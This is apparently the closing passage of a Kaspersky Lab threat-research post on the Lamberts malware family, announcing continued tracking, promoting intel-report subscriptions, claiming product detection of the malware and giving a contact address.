We will continue tracking the Lamberts and sharing new findings with our intel report subscribers, as well as with the general public. If you would like to be the first to hear our news, we suggest you subscribe to our intel reports.

Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family.

For more information about the Lamberts, please contact: [email protected]